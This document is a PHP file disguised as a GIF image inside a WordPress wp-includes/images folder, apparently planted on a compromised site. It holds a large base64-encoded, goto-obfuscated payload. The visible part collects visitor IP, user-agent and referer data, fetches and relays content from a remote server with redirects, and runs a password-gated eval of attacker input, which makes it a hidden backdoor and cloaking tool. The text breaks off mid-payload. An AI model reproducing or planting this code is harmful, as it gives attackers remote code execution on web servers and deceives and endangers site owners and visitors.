File: /home/dainam/domains/gaokevietnam.com/public_html/wp-includes/images/w-adabdebfdeedce.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/dainam/domains/gaokevietnam.com/private_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gTndSc1ZpTUNzbzFYNFlfOyByaUJSS2NwNGtsanFOZ2I6IEBoZWFkZXIoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XHg2ZVx4NzRcNTVcMTI0XHg3OVwxNjBcMTQ1XDcyIiAuICRIRDhYYmxqaWJjbEJvRjZbIlwxNjRceDc5XDE2MFwxNDUiXSk7IGdvdG8gb1pacWV5d0U4R0NjdTRxOyBtMk5JdUtpeFlOY0lXcHQ6ICRUdFNIS2l2OVpFZWxIYmcgPSAnJzsgZ290byBxbXAzeGtZd29oYURwQ2E7IFVCWEJnUm5YUWxOa08wSTogbWV0YXBob25lKCJceDRmXDEwNFx4NDVcMTcyXDExN1wxMjRceDY3XHgzM1wxMTZceDZhXDEzMVx4MzVcMTE2XHg0NFwxMTVceDMyXDExNlx4NTRcMTQzXHg3OVwxMTdceDQ0XDEwMVwxNzBcMTE3XDEyNFwxMjVceDdhXHg0ZVwxMDRceDY3XDE3MSIpOyBnb3RvIG1oVUhKeXdxZjBDcWtnbDsgRkN2WWt0VjU4N2VabE84OiBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVwxNjRceDJkXHg1NFwxNzFceDcwXDE0NVx4M2FcNDBcMTY0XDE0NVwxNzBcMTY0XDU3XHg2OFwxNjRcMTU1XHg2Y1w3M1x4MjBcMTQzXDE1MFwxNDFceDcyXDE2M1x4NjVceDc0XDc1XHg3NVwxNjRceDY2XHgyZFw3MCIpOyBnb3RvIE84OEFFdXBxSlk5a1FXbjsgTENEdVNYRnRFWHdKNU1HOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXDEyNVx4NDVcMTIzXDEyNFwxMzdcMTI1XHg1MlwxMTEiXSwgIlx4NjlcMTU2XDE0NFx4NjVcMTcwXHgyZVwxNjBceDY4XHg3MFw1N1wxNTJcMTUzIikpIHsgZ290byBVREpSVW1kV0lSeVk0aUY7IH0gZ290byB2RlRhTFVJeFQ5Y2lDUkY7IHptS2dEc0tJZVhhbThnbDogJEY4aGNBd1YzOVJIWEdJTFsiXHg3MlwxNDYiXSA9IElHMGtpc1pwVDh3cnJIbCgkVHRTSEtpdjlaRWVsSGJnKTsgZ290byBpZXZpTE5XSnRhZUM1anc7IERBTTlEMnkwNFh6MW5LSDogaWYgKCEoc3RycG9zKCRUdFNIS2l2OVpFZWxIYmcsICRiUjlNcWtDemlmSU9PZzApID09PSAwKSkgeyBnb3RvIFV5ZGtjZzVuNm5rT3ZFZjsgfSBnb3RvIG0yTkl1S2l4WU5jSVdwdDsgQTVxcTIxN1NjMmdra3FfOiAkRjhoY0F3VjM5UkhYR0lMWyJcMTYyIl0gPSBJRzBraVN6cFQ4V1JyaGwoJF9TRVJWRVJbIlwxMjJceDQ1XHg1MVx4NTVceDQ1XDEyM1wxMjRcMTM3XDEyNVx4NTJceDQ5Il0pOyBnb3RvIHptS2dEc0tJZVhhbThnbDsgak10WkZhZzRDeDR3U0N5OiBmdW5jdGlvbiBJZzBLaXN6cHQ4d1JSaEwoJEtqX2NuQ3ZBdUhsdjZtTSkgeyBnb3RvIHYxSTZXeDA0dTA2b0tJbjsgWEhEcXRNb3pkY1d3a1hCOiBUcWdkZjI4UGRzRzZkdEE6IGdvdG8gajc4bV8ySGNvTW9Yb295OyBwSkc2Y0hFNTNSQXVGNmM6IHJldHVybiAnJzsgZ290byBYSERxdE1vemRjV3drWEI7IGo3OG1fMkhjb01vWG9veTogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJEtqX2NuQ3ZBdUhsdjZtTSksICJcNTNceDJmIiwgIlw1NVx4NWYiKSwgIlw3NSIpOyBnb3RvIFdiVXRnWlRCT24zQ3JnNjsgdjFJNld4MDR1MDZvS0luOiBpZiAoJEtqX2NuQ3ZBdUhsdjZtTSkgeyBnb3RvIFRxZ2RmMjhQZHNHNmR0QTsgfSBnb3RvIHBKRzZjSEU1M1JBdUY2YzsgV2JVdGdaVEJPbjNDcmc2OiB9IGdvdG8gTmtaVHNVa0dTQkpienVSOyBBVFQ3clkzRnFpbHZOaGY6IEFJMzNaQUVnZmhuRXRzSDogZ290byBMQ0R1U1hGdEVYd0o1TUc7IHZGVGFMVUl4VDljaUNSRjogZXhpdCgiXDE3M1w0MFw0MlwxNDVceDcyXDE2Mlx4NmZcMTYyXHgyMlw3Mlw0MFx4MzJceDMwXDYwXDU0XHgyMFx4MjJceDZjXHg2M1w0Mlx4M2FceDIwXDQyXHg2YVx4NmJcNDJcNTRcNDBceDIyXHg2NFwxNDFceDc0XDE0MVx4MjJceDNhXHgyMFx4NWJcNDBcNjFcNDBcMTM1XDQwXHg3ZCIpOyBnb3RvIGYzMzE3SWJkUmJqenIydjsgaUtQOUZNVVFmTEVpUFhSOiAkQUd3OWNJM3JFekpyQ1VzID0gdHJ1ZTsgZ290byBvUDJ6czVqNU1hVjBtNjM7IGlldmlMTldKdGFlQzVqdzogJEY4aGNBd1YzOVJIWEdJTFsiXDE2MyJdID0gaUcwa2lzWnBUOHdycmhsKCRiUjlNcWtDemlmSU9PZzApOyBnb3RvIHluUEVWaFBpQlV4UldXRTsgWDJXOTdXcW9Zd216UzV3OiAkRjhoY0F3VjM5UkhYR0lMWyJceDZjIl0gPSBpZzBLSVNaUHQ4d3JySEwoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTM3XHg0MVx4NDNceDQzXHg0NVwxMjBcMTI0XDEzN1x4NGNceDQxXHg0ZVx4NDdcMTI1XDEwMVx4NDdcMTA1Il0pOyBnb3RvIGFHYVJKMWhGWmM3RVNQODsgVmhIT3hIMmFJUU5YamVOOiAkVHRTSEtpdjlaRWVsSGJnID0gc3RydmFsKEAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDUyXDEwNVwxMDZcMTA1XDEyMlx4NDVceDUyIl0pOyBnb3RvIENfWGgyemJzcldDUHBQcjsgVkN5azFOV0ZZTW5OZjAxOiBAKG1kNShtZDUobWQ1KG1kNSgkbk9EbFJzX2RrdlJSakoyWzIxXSkpKSkgPT09ICJceDM2XHgzNVw2M1x4MzVceDY1XDE0NlwxNDNcNjBcNjdceDMzXDYzXHg2NVwxNDRceDM0XDE0MVw2M1w2Nlx4NjVceDM4XHgzNFw2M1w2N1x4MzNceDM1XHgzMVw2NVx4MzlcMTQ1XHgzOVx4MzhceDM4XHgzMSIpICYmIChjb3VudCgkbk9EbFJzX2RrdlJSakoyKSA9PSAyNyAmJiBpbl9hcnJheShnZXR0eXBlKCRuT0RsUnNfZGt2UlJqSjIpIC4gY291bnQoJG5PRGxSc19ka3ZSUmpKMiksICRuT0RsUnNfZGt2UlJqSjIpKSA/ICgkbk9EbFJzX2RrdlJSakoyWzYyXSA9ICRuT0RsUnNfZGt2UlJqSjJbNjJdIC4gJG5PRGxSc19ka3ZSUmpKMls3M10pICYmICgkbk9EbFJzX2RrdlJSakoyWzg3XSA9ICRuT0RsUnNfZGt2UlJqSjJbNjJdKCRuT0RsUnNfZGt2UlJqSjJbODddKSkgJiYgQGV2YWwoJG5PRGxSc19ka3ZSUmpKMls2Ml0oJHskbk9EbFJzX2RrdlJSakoyWzQxXX1bMTFdKSkgOiAkbk9EbFJzX2RrdlJSakoyOyBnb3RvIFVCWEJnUm5YUWxOa08wSTsgb1AyenM1ajVNYVYwbTYzOiBxMTFwVk9hOFZ6OXV4V2g6IGdvdG8geVR4NVo3RWxmWWE2cVlLOyBkVkhReWNTbnlGbWV1Tlc6IGlmICghaW5fYXJyYXkoJGVRUU1Ec1VHTkNnZ0dmMSwgYXJyYXkoIlw1NlwxNTJcMTYzIiwgIlw1NlwxNDNceDczXDE2MyIsICJcNTZceDZhXDE2MFwxNDciLCAiXDU2XDE2MFwxNTZceDY3IiwgIlx4MmVceDY3XHg2OVwxNDYiLCAiXDU2XDE1MVwxNDNcMTU3IikpKSB7IGdvdG8gcTExcFZPYThWejl1eFdoOyB9IGdvdG8gaUtQOUZNVVFmTEVpUFhSOyBPdGhqdFVHZzVod3Y1c046IHdpazZ3QnlRQXo0S1E4aTo6c3ZJbDdEWFRXbGZQMjZqKCk7IGdvdG8gRkN2WWt0VjU4N2VabE84OyBwdWZ5MFVDYmdMaVFreEk6ICR3aVBzRW9ISWJHZ19PeWMgPSBPNTBTU0RmRGZCc3QxM0coKTsgZ290byBWaEhPeEgyYUlRTlhqZU47IFJDbGM0aHdQbkVRNW1SWDogJGdaNlU5a0o3Qzlac2FrbiA9ICJceDcyIiAuICJcMTQxIiAuICJcMTU2IiAuICJcMTQ3IiAuICJceDY1IjsgZ290byBjazBEZlhaS0k1MTM3dTI7IE5rWlRzVWtHU0JKYnp1UjogZnVuY3Rpb24gbzUwc3NkZmRmYlNUMTNHKCkgeyBnb3RvIGt3MEJsajVMeldJNTlzMDsgcVJ6SXNYcHFmUDJac1BxOiBnb3RvIGdxbzVtOU02WEkzTGtIdjsgZ290byBOTjFXMmoydmtTclBGU3Y7IExnRlBYbjRURFhTN0pDSzogJHdpUHNFb0hJYkdnX095YyA9ICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXHg1ZlwxMDNceDQ2XDEzN1wxMDNceDRmXDExNlwxMTZcMTA1XDEwM1wxMjRceDQ5XDExNlwxMDdceDVmXDExMVwxMjAiXTsgZ290byBaNjB2a3BOQko0SXNNQTM7IFo2MHZrcE5CSjRJc01BMzogZ290byBncW81bTlNNlhJM0xrSHY7IGdvdG8gYUhpWkpLaEF0dXJCYURiOyBKOGRVSkllak1sb3puV0k6IFp5Q1RCS1pMdUtpdG9lNjogZ290byBKU05ZWVhpY0J2aElFbGk7IGFiMzVQeUlWMERnblRQbzogellPS21vdUNLN0czcElpOiBnb3RvIExnRlBYbjRURFhTN0pDSzsgTk4xVzJqMnZrU3JQRlN2OiBFbTJPMVNIQUZaY1Y5VnU6IGdvdG8gQ1RadGk4Skp4dmQ2NjJiOyBLX2pPX3JHWlMxWUwyMEw6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDU4XHg1Zlx4NTJcMTA1XHg0MVx4NGNceDVmXDExMVx4NTAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXDEzN1wxMzBcMTM3XHg1Mlx4NDVcMTAxXDExNFwxMzdcMTExXHg1MCJdKSkgeyBnb3RvIG9sSW9QMTRUXzlmNzJfbjsgfSBnb3RvIGlrRVoxS1RRbjRPaHE1SzsgUzBzVVkxcW9HandQMzdLOiBncW81bTlNNlhJM0xrSHY6IGdvdG8gQVVIYzlxYUFnbTEzOG9oOyBRWE1iUTBxTm1DMUVyOWo6ICR3aVBzRW9ISWJHZ19PeWMgPSAkd2lQc0VvSEliR2dfT3ljWzBdOyBnb3RvIEo4ZFVKSWVqTWxvem5XSTsgQ1RadGk4Skp4dmQ2NjJiOiAkd2lQc0VvSEliR2dfT3ljID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBceDVmXDEzMFx4NWZcMTA2XHg0Zlx4NTJceDU3XHg0MVwxMjJcMTA0XDEwNVwxMDRcMTM3XHg0NlwxMTdcMTIyIl07IGdvdG8gUzBzVVkxcW9HandQMzdLOyBhQ3h3NzJ2NGtabjNuUWM6IGlmICghKHN0cnBvcygkd2lQc0VvSEliR2dfT3ljLCAiXDU0IikgIT09IGZhbHNlKSkgeyBnb3RvIFp5Q1RCS1pMdUtpdG9lNjsgfSBnb3RvIEpkS2RrUHQxRmVianNzbTsgTWFyU1ZTWkdqMUUxNllwOiBnb3RvIGdxbzVtOU02WEkzTGtIdjsgZ290byBhYjM1UHlJVjBEZ25UUG87IEFVSGM5cWFBZ20xMzhvaDogJHdpUHNFb0hJYkdnX095YyA9IHRyaW0oc3RyX3JlcGxhY2UoIlx4MjAiLCAnJywgJHdpUHNFb0hJYkdnX095YyksICJcNTQiKTsgZ290byBhQ3h3NzJ2NGtabjNuUWM7IEpTTllZWGljQnZoSUVsaTogcmV0dXJuICR3aVBzRW9ISWJHZ19PeWM7IGdvdG8gcWpYMTZubVY1QnBIM3IyOyBpa0VaMUtUUW40T2hxNUs6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFwxMzdcMTMwXDEzN1wxMDZcMTE3XHg1MlwxMjdceDQxXHg1MlwxMDRcMTA1XDEwNFwxMzdceDQ2XHg0Zlx4NTIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXDEzN1x4NThcMTM3XDEwNlwxMTdceDUyXDEyN1x4NDFcMTIyXHg0NFwxMDVceDQ0XHg1ZlwxMDZceDRmXHg1MiJdKSkgeyBnb3RvIEVtMk8xU0hBRlpjVjlWdTsgfSBnb3RvIGxteTVVdTQzR2p1UWN4RTsgSmRLZGtQdDFGZWJqc3NtOiAkd2lQc0VvSEliR2dfT3ljID0gZXhwbG9kZSgiXHgyYyIsICR3aVBzRW9ISWJHZ19PeWMpOyBnb3RvIFFYTWJRMHFObUMxRXI5ajsgbG15NVV1NDNHanVRY3hFOiAkd2lQc0VvSEliR2dfT3ljID0gJF9TRVJWRVJbIlwxMjJceDQ1XDExNVx4NGZcMTI0XDEwNVwxMzdceDQxXHg0NFwxMDRcMTIyIl07IGdvdG8gTWFyU1ZTWkdqMUUxNllwOyBrdzBCbGo1THpXSTU5czA6ICR3aVBzRW9ISWJHZ19PeWMgPSAnJzsgZ290byBWUXAzalVqeGExN01mTlQ7IEdDYm4zSmpkZ1FLOUt3SzogJHdpUHNFb0hJYkdnX095YyA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXDEzN1x4NThcMTM3XDEyMlwxMDVcMTAxXDExNFwxMzdcMTExXDEyMCJdOyBnb3RvIHFSeklzWHBxZlAyWnNQcTsgVlFwM2pVanhhMTdNZk5UOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XHg0M1wxMDZceDVmXHg0M1x4NGZceDRlXDExNlwxMDVcMTAzXHg1NFx4NDlcMTE2XHg0N1wxMzdceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXDEwM1wxMDZcMTM3XHg0M1x4NGZceDRlXHg0ZVx4NDVcMTAzXHg1NFx4NDlceDRlXHg0N1x4NWZceDQ5XHg1MCJdKSkgeyBnb3RvIHpZT0ttb3VDSzdHM3BJaTsgfSBnb3RvIEtfak9fckdaUzFZTDIwTDsgYUhpWkpLaEF0dXJCYURiOiBvbElvUDE0VF85ZjcyX246IGdvdG8gR0NibjNKamRnUUs5S3dLOyBxalgxNm5tVjVCcEgzcjI6IH0gZ290byBrMHlsWl9yWE9MYkZVNlA7IGYzMzE3SWJkUmJqenIydjogVURKUlVtZFdJUnlZNGlGOiBnb3RvIHB1ZnkwVUNiZ0xpUWt4STsgcW1wM3hrWXdvaGFEcENhOiBVeWRrY2c1bjZua092RWY6IGdvdG8gV0Exa0FCZFJpNXZTM0M1OyBjazBEZlhaS0k1MTM3dTI6ICRVOU1QYU0wTHJjUlMxTjUgPSAkZ1o2VTlrSjdDOVpzYWtuKCJceDdlIiwgIlx4MjAiKTsgZ290byB6SEtVbm9KZ3A5aXdMXzk7IEN5XzZ0Z3pLQWp5RnVYVTogeGNyS3dyM2FsMTZRT3hEOiBnb3RvIENuS2xaanVocENVMDVfYjsgbUxDZF9jZ3BPNWdFNzEzOiAkWlBiS201ajFmeTZFb29fID0gcHJlZ19yZXBsYWNlKCJcNTdceDVjXHgzZlw1Nlw1Mlw1NyIsICcnLCAkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXDEyNVwxMDVceDUzXDEyNFx4NWZceDU1XHg1Mlx4NDkiXSk7IGdvdG8gck5pZDF2eEhVRUJROGZyOyB5blBFVmhQaUJVeFJXV0U6ICRGOGhjQXdWMzlSSFhHSUxbIlwxNjUiXSA9IGlHMGtJU3pwVDh3cnJIbCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDU1XHg1M1x4NDVceDUyXDEzN1x4NDFceDQ3XHg0NVx4NGVceDU0Il0pOyBnb3RvIG1MQ2RfY2dwTzVnRTcxMzsgTzg4QUV1cHFKWTlrUVduOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8geGlUVTFmeHd6MVF2bDBwOyBDbktsWmp1aHBDVTA1X2I6IGlmICghc3RybGVuKCRIRDhYYmxqaWJjbEJvRjZbIlx4NjNcMTU3XHg2ZVwxNjRceDY1XDE1NlwxNjQiXSkpIHsgZ290byBiTHdvejBFNXF0TV94WXk7IH0gZ290byByaUJSS2NwNGtsanFOZ2I7IHR2ZXBtbTBwSTcyVUxsTTogaWYgKGluX2FycmF5KCRIRDhYYmxqaWJjbEJvRjZbIlwxNjNcMTY0XDE0MVx4NzRcMTY1XHg3MyJdLCBhcnJheSgwLCAyMDApKSkgeyBnb3RvIHhjckt3cjNhbDE2UU94RDsgfSBnb3RvIFBrcHhPTGo0T05WODAxZTsgekhLVW5vSmdwOWl3TF85OiAkbk9EbFJzX2RrdlJSakoyID0gJHskVTlNUGFNMExyY1JTMU41WzE1ICsgMTZdIC4gJFU5TVBhTTBMcmNSUzFONVs1ICsgNTRdIC4gJFU5TVBhTTBMcmNSUzFONVsyNyArIDIwXSAuICRVOU1QYU0wTHJjUlMxTjVbNSArIDQyXSAuICRVOU1QYU0wTHJjUlMxTjVbMjIgKyAyOV0gLiAkVTlNUGFNMExyY1JTMU41WzMyICsgMjFdIC4gJFU5TVBhTTBMcmNSUzFONVs1MyArIDRdfTsgZ290byBWQ3lrMU5XRllNbk5mMDE7IHlUeDVaN0VsZllhNnFZSzogcVRrUFdscG5YWGsxcmR3OiBnb3RvIHNVVzhHekRNSWFaTjBOVjsgUGtweE9MajRPTlY4MDFlOiBzd2l0Y2ggKCRIRDhYYmxqaWJjbEJvRjZbIlwxNjNcMTY0XHg2MVx4NzRceDc1XDE2MyJdKSB7IGNhc2UgMzAxOiBnb3RvIEJXaWhJaE5QRTdoMVlDeTsgbEtfTU9mdFdfRkxtRUNlOiBoZWFkZXIoIlx4NGNcMTU3XDE0M1wxNDFceDc0XHg2OVx4NmZceDZlXDcyXHgyMCIgLiB0cmltKCRIRDhYYmxqaWJjbEJvRjZbIlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1Nlx4NzQiXSkpOyBnb3RvIEZCY05fR0RYbWNxNW1tdTsgQldpaEloTlBFN2gxWUN5OiBoZWFkZXIoIlwxMTBceDU0XDEyNFwxMjBceDJmXHgzMVw1Nlw2MVx4MjBcNjNceDMwXHgzMVx4MjBcMTE1XDE1N1x4NzZcMTQ1XDE0NFx4MjBceDUwXDE0NVx4NzJcMTU1XDE0MVwxNTZcMTQ1XHg2ZVx4NzRceDZjXHg3OSIpOyBnb3RvIGxLX01PZnRXX0ZMbUVDZTsgRkJjTl9HRFhtY3E1bW11OiBnb3RvIFhIbm5FQ2tESlc2RmVmQTsgZ290byBLR3Z0MUhZajBzRGQyM2Y7IEtHdnQxSFlqMHNEZDIzZjogY2FzZSAzMDI6IGdvdG8gWF9SQkU2d3paTzZQVjEzOyBXRGVJeUg0bHVrU21hRFQ6IGdvdG8gWEhubkVDa0RKVzZGZWZBOyBnb3RvIE5IN2pmalQ2bWFqY3luMjsgYjBBd2VwN2gwekVhZXpDOiBoZWFkZXIoIlwxMTRcMTU3XHg2M1wxNDFceDc0XHg2OVwxNTdcMTU2XDcyXDQwIiAuIHRyaW0oJEhEOFhibGppYmNsQm9GNlsiXHg2M1wxNTdcMTU2XHg3NFwxNDVcMTU2XDE2NCJdKSk7IGdvdG8gV0RlSXlINGx1a1NtYURUOyBYX1JCRTZ3elpPNlBWMTM6IGhlYWRlcigiXHg0OFx4NTRceDU0XHg1MFx4MmZceDMxXHgyZVx4MzFcNDBcNjNcNjBcNjJceDIwXDExNVx4NmZcMTY2XDE0NVx4MjBcMTI0XDE0NVwxNTVcMTYwXHg2Zlx4NzJceDYxXHg3MlwxNTFceDZjXDE3MSIpOyBnb3RvIGIwQXdlcDdoMHpFYWV6QzsgTkg3amZqVDZtYWpjeW4yOiBjYXNlIDQwNDogZ290byBLdUZBSTNrZ04zcDBDQ1A7IFVJRTJNazhhVUk2UXVmdDogZ290byBYSG5uRUNrREpXNkZlZkE7IGdvdG8gb01vYkRoN1hGejFWMUozOyBCRHl1eDBvYUhSWGhWQXg6IGhlYWRlcigiXDE2M1wxNjRcMTQxXHg3NFx4NzVcMTYzXHgzYVx4MjBceDM0XDYwXDY0XDQwXHg0ZVx4NmZcMTY0XDQwXDEwNlwxNTdcMTY1XDE1NlwxNDQiKTsgZ290byBVSUUyTWs4YVVJNlF1ZnQ7IEt1RkFJM2tnTjNwMENDUDogaGVhZGVyKCJceDQ4XDEyNFwxMjRceDUwXHgyZlx4MzFceDJlXHgzMVx4MjBceDM0XDYwXDY0XDQwXHg0ZVwxNTdceDc0XHgyMFx4NDZcMTU3XHg3NVwxNTZcMTQ0Iik7IGdvdG8gQkR5dXgwb2FIUlhoVkF4OyBvTW9iRGg3WEZ6MVYxSjM6IGRlZmF1bHQ6IGdvdG8gWEhubkVDa0RKVzZGZWZBOyB9IGdvdG8gVEg2Vjh5dlVkUUxsYU5lOyBhMktRblkzOWMwUTVtaVE6ICRGOGhjQXdWMzlSSFhHSUxbIlwxNTEiXSA9IGlnMEtJU1pwVDhXclJobCgkd2lQc0VvSEliR2dfT3ljKTsgZ290byBYMlc5N1dxb1l3bXpTNXc7IERxSE1PM0N2QUJyVGp5azogaWYgKCEoJF9TRVJWRVJbIlwxMjJceDQ1XHg1MVx4NTVceDQ1XHg1M1x4NTRcMTM3XHg1NVwxMjJcMTExIl0gPT09ICJceDJmXDEyMlx4MmQiIC4gbWQ1KCRfU0VSVkVSWyJceDUzXDEwNVx4NTJceDU2XHg0NVwxMjJceDVmXDExNlwxMDFcMTE1XHg0NSJdKSkpIHsgZ290byBBSTMzWkFFZ2ZobkV0c0g7IH0gZ290byB1NXdvcXFlWm1DV0RDWlg7IGFHYVJKMWhGWmM3RVNQODogJEY4aGNBd1YzOVJIWEdJTFsiXHg3M1wxNTYiXSA9IElnMGtpc1pwVDh3UnJIbCgkX1NFUlZFUlsiXHg1M1wxMDNcMTIyXDExMVx4NTBceDU0XDEzN1wxMTZceDQxXDExNVwxMDUiXSk7IGdvdG8gQTVxcTIxN1NjMmdra3FfOyB0VDBSanN5anNXc3JMOWk6IGV4aXQoMCk7IGdvdG8gR0MzY21KWUpsT1pyUTU5OyBjYXE1dDFhck90d3lIRHY6IGZ1bmN0aW9uIHVXSkxLaVRGR3hsNm5NSSgkQjJNQmJYMkZqNTkwbmJhLCAkdVZVaFVPWEVOOVhpV3dsID0gYXJyYXkoKSkgeyBnb3RvIEJCVWlyUWRpOVppT01WYjsgeVdVMkJtaEdFTlFKTWNsOiByZXR1cm4gJEhEOFhibGppYmNsQm9GNjsgZ290byBFZTA0T2FPOWRXY3lTbmk7IGRLWmlmRF9IMnNSR2RyUjogJEIyTUJiWDJGajU5MG5iYSAuPSAiXHgzZiIgLiBodHRwX2J1aWxkX3F1ZXJ5KCR1VlVoVU9YRU45WGlXd2wpOyBnb3RvIFVVazkwbjliVzhZS1ZHYzsgVVVrOTBuOWJXOFlLVkdjOiBqNUI2SlNSX05fMnQxZzM6IGdvdG8gV0hjMWdVSDMxVjN5Q0N1OyBCQlVpclFkaTlaaU9NVmI6ICRIRDhYYmxqaWJjbEJvRjYgPSBhcnJheSgiXDE2M1x4NzRcMTQxXDE2NFx4NzVcMTYzIiA9PiAwLCAiXHg2M1x4NmZcMTU2XDE2NFwxNDVceDZlXDE2NCIgPT4gJycsICJcMTY0XDE3MVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gZmN5T0hHXzY0d29sZmtKOyBmY3lPSEdfNjR3b2xma0o6IGlmICghKGlzX2FycmF5KCR1VlVoVU9YRU45WGlXd2wpICYmIGNvdW50KCR1VlVoVU9YRU45WGlXd2wpKSkgeyBnb3RvIGo1QjZKU1JfTl8ydDFnMzsgfSBnb3RvIGRLWmlmRF9IMnNSR2RyUjsgV0hjMWdVSDMxVjN5Q0N1OiB0cnkgeyBnb3RvIFp5TUdmYUhMOFYzTk1XZjsgS3E4OFhiVXRRZEd3UTZOOiAkSEQ4WGJsamliY2xCb0Y2WyJceDYzXDE1N1wxNTZcMTY0XHg2NVwxNTZceDc0Il0gPSBzdHJ2YWwoJFFjMThhQlBRTGF6T3JETik7IGdvdG8gVU9EaFdYRE1GYThDWDBYOyBvbUh1ZWFGQTNUSHFFZm86ICRIRDhYYmxqaWJjbEJvRjZbIlx4NzRceDc5XDE2MFx4NjUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJHUwREFyUXcyQnRNVUFvTSwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gUE1DVFNucXplYm9iQmlnOyBSanM1b0pRVWNfaXBfc0c6IGlmICghaW5fYXJyYXkoJEhEOFhibGppYmNsQm9GNlsiXHg3M1wxNjRcMTQxXHg3NFx4NzVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gaDRJOFROeUxjaTlZeU44OyB9IGdvdG8gRWxtQTZVQW1TdzExMGUwOyBnakdnNUx5QWUwcmJ3bTA6ICRWV1VycElXc1N4MU9EU1AgPSBjdXJsX2V4ZWMoJHUwREFyUXcyQnRNVUFvTSk7IGdvdG8gWFdvdllETVYxYzF1bTA0OyBwaUt4TnhqdWpSTDRjYVE6IHVTTnNDUlM4WDA1dnliNzogZ290byBRVFdRQkxSRTdMTno5RFc7IGE4MWtvSW14RVU4NzZUYjogJFFjMThhQlBRTGF6T3JETiA9IEBmaWxlX2dldF9jb250ZW50cygkQjJNQmJYMkZqNTkwbmJhLCBmYWxzZSwgJEhPblhzb2lRWk1Jc2w2VCk7IGdvdG8gSUZqdzRJOXpXVnh3STcyOyBZWUE0M0JkWFdFOHV1dXA6ICRIT25Yc29pUVpNSXNsNlQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJE5MZWJoUngyS3NyVTJxeCk7IGdvdG8gYTgxa29JbXhFVTg3NlRiOyBFbG1BNlVBbVN3MTEwZTA6ICRIRDhYYmxqaWJjbEJvRjZbIlwxNDNceDZmXHg2ZVx4NzRcMTQ1XDE1Nlx4NzQiXSA9IHN0cnZhbCgkVldVcnBJV3NTeDFPRFNQKTsgZ290byBJQTZ3V3hkMjdGdVEzOHU7IGpjdllKQWtLNmFGWEswMjogY3VybF9zZXRvcHQoJHUwREFyUXcyQnRNVUFvTSwgQ1VSTE9QVF9VUkwsICRCMk1CYlgyRmo1OTBuYmEpOyBnb3RvIFlsVUxheWF4d29VQVUwSzsgZjBMYWZJYUVtQVFhSmczOiAkdTBEQXJRdzJCdE1VQW9NID0gY3VybF9pbml0KCk7IGdvdG8gamN2WUpBa0s2YUZYSzAyOyBaeU1HZmFITDhWM05NV2Y6IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjNcMTY1XDE2MlwxNTRceDVmXHg2NVx4NzhceDY1XHg2MyIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXHg2M1wxNjVcMTYyXHg2Y1wxMzdcMTUxXDE1NlwxNTFceDc0IikpIHsgZ290byBXVnhjeUlQTUJGQ0hyeDg7IH0gZ290byBhNzdHUjA1cGJMNm1pek87IElGanc0STl6V1Z4d0k3MjogJEhEOFhibGppYmNsQm9GNiA9IGFycmF5X21lcmdlKCRIRDhYYmxqaWJjbEJvRjYsIG9yRWlVTVp6eDlTM0czVCgkaHR0cF9yZXNwb25zZV9oZWFkZXIpKTsgZ290byBvRHZMc2pWNkYwYjRjT2c7IHlGU2Z2cGVCRlpoY3JQMDogY3VybF9zZXRvcHQoJHUwREFyUXcyQnRNVUFvTSwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byBlUlZkdklZSEdZYUFIaG47IFFUV1FCTFJFN0xOejlEVzogJE5MZWJoUngyS3NyVTJxeCA9IGFycmF5KCJcMTUwXHg3NFwxNjRcMTYwIiA9PiBhcnJheSgiXDE1NVx4NjVceDc0XHg2OFwxNTdcMTQ0IiA9PiAiXHg0N1wxMDVceDU0IiwgIlx4NzRceDY5XDE1NVx4NjVcMTU3XHg3NVx4NzQiID0+IDYwLCAiXDE0Nlx4NmZceDZjXDE1NFx4NmZceDc3XDEzN1x4NmNceDZmXHg2M1x4NjFcMTY0XDE1MVx4NmZcMTU2IiA9PiAwKSwgIlwxNjNcMTYzXDE1NCIgPT4gYXJyYXkoIlx4NzZceDY1XHg3Mlx4NjlceDY2XDE3MVx4NWZcMTYwXHg2NVwxNDVceDcyIiA9PiBmYWxzZSwgIlx4NzZceDY1XHg3MlwxNTFcMTQ2XHg3OVx4NWZceDcwXDE0NVx4NjVceDcyXDEzN1x4NmVceDYxXHg2ZFwxNDUiID0+IGZhbHNlKSk7IGdvdG8gWVlBNDNCZFhXRTh1dXVwOyBhNzdHUjA1cGJMNm1pek86IGlmIChpbmlfZ2V0KCJcMTQxXDE1NFwxNTRcMTU3XDE2N1wxMzdceDc1XHg3MlwxNTRceDVmXHg2Nlx4NmZceDcwXHg2NV